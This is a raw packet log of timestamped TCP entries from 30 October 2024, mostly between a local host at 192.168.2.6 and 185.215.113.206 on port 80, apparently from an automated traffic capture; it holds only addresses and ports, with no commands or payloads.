Oct 30, 2024 11:45:09.751240969 CET	49672	443	192.168.2.6	173.222.162.64
Oct 30, 2024 11:45:09.785708904 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:09.785814047 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:10.039273977 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:10.044785023 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:10.327512026 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:10.327580929 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:10.327600956 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:10.327624083 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:10.327650070 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:10.327647924 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:10.327667952 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:10.327676058 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:10.327688932 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:10.327702999 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:10.327712059 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:10.327714920 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:10.327732086 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:10.327738047 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:10.327750921 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:10.327754021 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:10.327768087 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:10.327769041 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:10.327783108 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:10.327804089 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:10.683320045 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:10.683340073 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:10.683367014 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:10.683383942 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:10.683396101 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:10.683401108 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:10.683417082 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:10.683422089 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:10.683434963 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:10.683454037 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:10.683459997 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:10.683469057 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:10.683475971 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:10.683491945 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:10.683492899 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:10.683509111 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:10.683511972 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:10.683525085 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:10.683527946 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:10.683542013 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:10.683551073 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:10.683557034 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:10.683577061 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:10.683587074 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:10.683603048 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:10.683615923 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:10.683624029 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:10.683636904 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:10.683655977 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:10.683664083 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:10.683690071 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:10.683706999 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:10.683722019 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:10.683722973 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:10.683739901 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:10.683748960 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:10.683758020 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:10.683773041 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:10.683775902 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:10.683792114 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:10.683798075 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:10.683809996 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:10.683826923 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:10.683835983 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:10.683844090 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:10.683865070 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:10.683866024 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:10.683880091 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:10.683883905 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:10.683914900 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:10.723814964 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:10.723833084 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:10.723916054 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:10.723917961 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:10.723936081 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:10.723952055 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:10.723954916 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:10.723969936 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:10.723977089 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:10.723994970 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:10.724009991 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:10.724723101 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:10.724739075 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:10.724756956 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:10.724769115 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:10.724771976 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:10.724795103 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:10.724822998 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:10.725341082 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:10.725357056 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:10.725372076 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:10.725383997 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:10.725404978 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:10.765733004 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:10.765762091 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:10.765778065 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:10.765779972 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:10.765799999 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:10.765826941 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:10.842645884 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:10.842659950 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:10.842674971 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:10.842725039 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:10.842726946 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:10.842740059 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:10.842744112 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:10.842761993 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:10.842777967 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:10.842784882 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:10.842803955 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:10.842828035 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:10.843524933 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:10.843560934 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:10.843602896 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:10.843635082 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:10.843636990 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:10.843666077 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:10.844018936 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:10.844036102 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:10.844050884 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:10.844055891 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:10.844073057 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:10.844089031 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:10.884541035 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:10.884556055 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:10.884612083 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:10.884633064 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:10.884645939 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:10.884649038 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:10.884675980 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:10.884694099 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:10.961469889 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:10.961483955 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:10.961498976 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:10.961514950 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:10.961530924 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:10.961546898 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:10.961597919 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:10.961626053 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:10.962045908 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:10.962081909 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:10.962091923 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:10.962107897 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:10.962125063 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:10.962141037 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:10.962470055 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:10.962501049 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:10.962729931 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:10.962747097 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:10.962762117 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:10.962768078 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:10.962785006 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:10.962801933 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:11.003412962 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:11.003454924 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:11.003469944 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:11.003484964 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:11.003534079 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:11.003896952 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:11.080351114 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:11.080370903 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:11.080388069 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:11.080497026 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:11.080513000 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:11.080545902 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:11.080583096 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:11.080705881 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:11.080744028 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:11.080754042 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:11.080770969 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:11.080787897 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:11.080806017 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:11.080816031 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:11.080832958 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:11.080848932 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:11.080864906 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:11.081566095 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:11.081582069 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:11.081598043 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:11.081614017 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:11.081638098 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:11.081638098 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:11.122262001 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:11.122279882 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:11.122296095 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:11.122313023 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:11.122498035 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:11.199489117 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:11.199521065 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:11.199536085 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:11.199552059 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:11.199596882 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:11.199616909 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:11.199724913 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:11.199755907 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:11.199762106 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:11.199773073 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:11.199789047 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:11.199790955 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:11.199805975 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:11.199805975 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:11.199826002 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:11.199837923 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:11.200481892 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:11.200532913 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:11.200642109 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:11.200655937 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:11.200670958 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:11.200826883 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:11.241087914 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:11.241111994 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:11.241128922 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:11.241157055 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:11.241245031 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:11.243918896 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:11.317939997 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:11.317975044 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:11.318015099 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:11.318065882 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:11.318068027 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:11.318084002 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:11.318110943 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:11.318145990 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:11.318249941 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:11.318249941 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:11.318249941 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:11.319782972 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:11.319818020 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:11.319839001 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:11.319854021 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:11.319859982 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:11.319890022 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:11.319901943 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:11.319936991 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:11.319943905 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:11.319979906 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:11.319994926 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:11.320022106 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:11.320033073 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:11.320060968 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:11.320069075 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:11.320107937 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:11.359895945 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:11.359913111 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:11.359929085 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:11.359945059 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:11.360094070 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:11.360117912 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:11.360121012 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:11.360148907 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:11.360181093 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:11.436800957 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:11.436817884 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:11.436835051 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:11.436851025 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:11.436937094 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:11.436971903 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:11.437087059 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:11.437110901 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:11.437127113 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:11.437133074 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:11.437144995 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:11.437155962 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:11.437164068 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:11.437169075 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:11.437189102 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:11.437201023 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:11.437978029 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:11.438002110 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:11.438019037 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:11.438034058 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:11.438045025 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:11.438050032 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:11.438060999 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:11.438097954 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:11.478627920 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:11.478642941 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:11.478689909 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:11.478704929 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:11.478722095 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:11.478738070 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:11.478837967 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:11.497344971 CET	443	49705	173.222.162.64	192.168.2.6
Oct 30, 2024 11:45:11.497457027 CET	49705	443	192.168.2.6	173.222.162.64
Oct 30, 2024 11:45:11.555607080 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:11.555638075 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:11.555654049 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:11.555670023 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:11.555674076 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:11.555701971 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:11.555733919 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:11.555841923 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:11.555856943 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:11.555877924 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:11.555903912 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:11.556000948 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:11.556046963 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:11.556057930 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:11.556073904 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:11.556096077 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:11.556112051 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:11.556437016 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:11.556453943 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:11.556469917 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:11.556483030 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:11.556488037 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:11.556497097 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:11.556504965 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:11.556514978 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:11.556533098 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:11.556546926 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:11.557209015 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:11.557241917 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:11.557255983 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:11.557277918 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:11.597558975 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:11.597582102 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:11.597609997 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:11.597619057 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:11.597626925 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:11.597637892 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:11.597651005 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:11.597651005 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:11.597667933 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:11.597668886 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:11.597687006 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:11.597688913 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:11.597707987 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:11.597860098 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:11.674380064 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:11.674417973 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:11.674434900 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:11.674525023 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:11.674527884 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:11.674555063 CET	80	49709	185.215.113.206	192.168.2.6
